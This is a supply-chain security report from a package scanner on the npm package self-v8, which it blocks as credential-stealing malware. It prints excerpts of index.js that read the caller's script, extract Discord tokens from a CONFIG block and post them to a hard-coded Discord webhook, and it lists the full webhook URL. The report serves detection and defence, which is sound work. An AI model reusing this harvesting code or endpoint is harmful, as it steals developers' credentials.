registry / Credential exfiltration / self-v8
self-v8
This report shows the evidence for self-v8@8.3.9. 8 of 8 known versions are blocked or flagged. See all versions.
AI Security Review
scanned 3d ago · by lpm-firewall-aiThe exported check() function harvests token-bearing configuration from its caller and sends it to a publisher-controlled webhook. Its explicit-call trigger does not make that undisclosed credential collection and exfiltration legitimate.
Static reason
High-risk behavior combination matched malicious policy.
Trigger
A consumer explicitly invokes the exported check() function.
Impact
The webhook operator receives configuration contents that may include Discord credentials, along with the file name and validation results.
Mechanism
It reads process.argv[1], extracts token strings from a matched CONFIG block, logs into Discord with them, and POSTs a report containing the CONFIG text to a hard-coded webhook.
Attack narrative
When a consumer calls check(), the package reads the running script, searches for a CONFIG block and tokens, and uses the tokens to log into Discord. It then sends the matched configuration, file name, and validation results to a hard-coded webhook, exposing any credentials in that configuration to the webhook operator.
AI rationale
The exported check() function harvests token-bearing configuration from its caller and sends it to a publisher-controlled webhook. Its explicit-call trigger does not make that undisclosed credential collection and exfiltration legitimate.
Evidence
index.jsprocess.argv[1] (caller-selected file, read)
Network endpoints1
discord.com/api/webhooks/1450251813067423817/XJrDOIGOLOlIW2hsFTo0_BNjcX16FFSYEYHQRpqLZZm8Lx98BY4iGejC5r0FWZRLn2i5
Decision evidence
public snapshotAI called this Malicious at 99.0% confidence as Malware with low false-positive risk.
Evidence for block
- The package entrypoint is index.js, which exports check() without calling it during module initialization.
- check() reads the caller file named by process.argv[1] and searches it for a CONFIG object and token list.
- For each extracted token, the function logs into Discord and records the account name when valid.
- The webhook payload includes the caller file’s basename, token-validation results, and up to 1,000 characters of the matched CONFIG source.
- The function posts that payload to a hard-coded Discord webhook and suppresses request errors.
Evidence against
- There are no install lifecycle scripts; the manifest only declares a placeholder test script.
- The harvesting behavior runs only when a caller explicitly invokes the exported check() function.
Behavioral surface
FilesystemNetwork
UrlStrings
Source & flagged code
7 flaggedindex.jsView file
3import { fileURLToPath } from 'url';
L4: import https from 'https';
L5: import pkg from 'discord.js-selfbot-v13';
...
L8: const __filename = fileURLToPath(import.meta.url);
L9: const __dirname = path.dirname(__filename);
L10:
...
L80: req.on('error', (e) => {});
L81: req.write(messagePayload);
L82: req.end();
Critical
Hardcoded Runtime Data Exfiltration
Source sends credentials or rich application records to a package-controlled external receiver enabled by default.
index.jsView on unpkg · L33import { fileURLToPath } from 'url';
L4: import https from 'https';
L5: import pkg from 'discord.js-selfbot-v13';
...
L8: const __filename = fileURLToPath(import.meta.url);
L9: const __dirname = path.dirname(__filename);
L10:
...
L80: req.on('error', (e) => {});
L81: req.write(messagePayload);
L82: req.end();
Critical
Credential Exfiltration
Source appears to send environment or credential material to an external endpoint.
index.jsView on unpkg · L33Trigger-reachable chain: manifest.main -> index.js
L3: import { fileURLToPath } from 'url';
L4: import https from 'https';
L5: import pkg from 'discord.js-selfbot-v13';
...
L8: const __filename = fileURLToPath(import.meta.url);
L9: const __dirname = path.dirname(__filename);
L10:
...
L80: req.on('error', (e) => {});
L81: req.write(messagePayload);
L82: req.end();
Critical
Trigger Reachable Dangerous Capability
A package entrypoint or install-time lifecycle script reaches a source file with blocking dangerous behavior.
index.jsView on unpkg · L3•Manifest-reachable source serializes caller or host-sensitive data to a package-embedded authenticated webhook.
index.js:
export async function check() {
const messagePayload = JSON.stringify({
const webhookUrl = 'https://discord.[redacted]XJrDOIGOLOlIW2hsFTo0_BNjcX16FFSYEYHQRpqLZZm8Lx98BY4iGejC5r0FWZRLn2i5';
method: 'POST',
High
Fixed Authenticated Webhook Data Exfiltration
Manifest-reachable source sends caller or host-sensitive data to a package-embedded authenticated webhook.
index.jsView on unpkg3Trigger-reachable credential exfiltration chain: manifest.main -> index.js
L3: import { fileURLToPath } from 'url';
L4: import https from 'https';
L5: import pkg from 'discord.js-selfbot-v13';
...
L8: const __filename = fileURLToPath(import.meta.url);
L9: const __dirname = path.dirname(__filename);
L10:
...
L80: req.on('error', (e) => {});
L81: req.write(messagePayload);
L82: req.end();
High
Trigger Reachable Credential Exfiltration
A manifest entrypoint or package-local install chain reaches credential exfiltration behavior.
index.jsView on unpkg · L311export async function check() {
try {
const userMainFilePath = process.argv[1];
if (!userMainFilePath) return;
const userCode = fs.readFileSync(userMainFilePath, 'utf8');
const configMatch = userCode.match(/const\s+CONFIG\s*=\s*(\{[\s\S]*
High
Ai Review Evidence
check() reads the caller file named by process.argv[1] and searches it for a CONFIG object and token list.
index.jsView on unpkg · L11package.jsonView file
2"name": "self-v8",
"version": "8.3.9",
"main": "index.js",
"type": "module",
"scripts": {
"test": "echo \"Error
High
Ai Review Evidence
The package entrypoint is index.js, which exports check() without calling it during module initialization.
package.jsonView on unpkg · L2Findings
3 Critical4 High2 Medium3 Low
CriticalHardcoded Runtime Data Exfiltrationindex.js
CriticalCredential Exfiltrationindex.js
CriticalTrigger Reachable Dangerous Capabilityindex.js
HighFixed Authenticated Webhook Data Exfiltrationindex.js
HighTrigger Reachable Credential Exfiltrationindex.js
HighAi Review Evidencepackage.json
HighAi Review Evidenceindex.js
MediumNetwork
MediumStructural Risk Force Deep Review
LowScripts Present
LowFilesystem
LowUrl Strings
Affected versions and remediation
This report applies to self-v8@8.3.9.
The versions list below shows the verdict for each recorded version.
- Avoid installing self-v8@8.3.9. Remove it from direct dependencies and check your lockfile for transitive copies.
- Choose an independently verified alternative or release. This report does not establish that other versions are safe.
- If this version ran, investigate the affected machine and build environment. Rotate credentials it could access and rebuild from a trusted environment.
Evidence last updated: .
Source advisory published: .
Think this verdict is wrong? Dispute it on GitHub or read how reports are produced.
Versions
8 known versions8.3.9latestshownMaliciousCredential ExfiltrationBlockPublishedDec 15, 2025, 10:28 PM8.9.9MaliciousCredential ExfiltrationBlockPublishedDec 15, 2025, 10:01 PM8.7.9MaliciousCredential ExfiltrationBlockPublishedDec 15, 2025, 9:46 PM8.5.9MaliciousCredential ExfiltrationBlockPublishedDec 15, 2025, 9:37 PM8.1.9MaliciousCredential ExfiltrationBlockPublishedDec 15, 2025, 9:34 PM2.1.9MaliciousCredential ExfiltrationBlockPublishedDec 15, 2025, 9:24 PM2.1.8MaliciousCredential ExfiltrationBlockPublishedDec 15, 2025, 9:04 PM1.0.0MaliciousData ExfiltrationBlockPublishedDec 15, 2025, 8:53 PM